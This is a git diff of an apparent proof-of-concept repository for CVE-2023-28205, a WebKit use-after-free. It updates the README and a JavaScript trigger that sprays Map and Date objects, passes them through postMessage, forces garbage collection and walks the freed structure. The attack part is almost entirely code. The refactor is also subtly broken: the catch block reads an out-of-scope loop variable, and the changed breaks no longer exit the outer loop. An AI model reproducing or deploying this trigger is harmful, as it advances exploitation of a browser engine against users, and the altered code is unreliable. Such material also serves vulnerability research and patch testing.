diff --git a/README.md b/README.md index 59ec6d9..b23d86d 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,9 @@ # CVE-2023-28205: Apple WebKit Use-After-Free Vulnerability -This vulnerability can be exploited through maliciously crafted web content, enabling attackers to execute arbitrary code. +This vulnerability can be exploited through maliciously crafted web content, allowing attackers to execute arbitrary code. -thanks to abc for poc example. \ No newline at end of file +## Description + +The code triggers a use-after-free (UAF) vulnerability by delaying the addition of `Map` and `Date` objects, which allows the garbage collector (GC) to free them. This can potentially lead to accessing freed objects, causing memory corruption or enabling exploits. + +Thanks to abc for the proof of concept example. \ No newline at end of file diff --git a/poc.js b/poc.js index b6a2fac..8231e47 100644 --- a/poc.js +++ b/poc.js @@ -1,48 +1,58 @@ -import { mem } from './module/mem.mjs'; +// import { mem } from './module/mem.mjs'; import { debug_log } from './module/utils.mjs'; - -function sleep(ms=0) { + +function sleep(ms = 0) { return new Promise(resolve => setTimeout(resolve, ms)); } - + function gc() { new Uint8Array(4 * 1024 * 1024); } - + +/* function spray() { const tmp = []; for (let j = 0; j < 1024; j++) { - const d = new Date(0xbeef); - tmp.push(d); + tmp.push(new Date(0xbeef)); } -} - -export async function main() { - const num_elems = 1600; +}; +*/ + +function createObjectStructure(num_elems) { let root = new Map(); let msg = root; let foo = []; + for (let i = 0; i < 100; i++) { foo.push(new Date(0xffff)); } + for (let i = 0; i < num_elems; i++) { const d = new Date(i); const map = new Map(); msg.set(d, [map, foo]); msg = map; } - msg = root; + return root; +} + +export async function main() { + const num_elems = 1600; + let root = createObjectStructure(num_elems); + let msg = root; let data2 = null; let idx = null; - loop: while (true) { + + while (true) { let data = null; const prom = new Promise(resolve => { addEventListener('message', event => { data = event; resolve(); - }, {once: true}); + }, { once: true }); }); + postMessage(msg, origin); await prom; data = data.data; @@ -50,23 +60,21 @@ export async function main() { gc(); await sleep(); - let tmp_i = null; try { for (let i = 0; i < num_elems; i++) { - tmp_i = i; if (data.keys().next().value.getTime() === 0xffff) { idx = i; - break loop; + break; } data = data.values().next().value[0]; } } catch { - idx = tmp_i; + idx = i; data2 = data.keys().next().value; - break loop; + break; } } - + alert('triggered, try crash'); debug_log('[+] idx: ' + idx); } \ No newline at end of file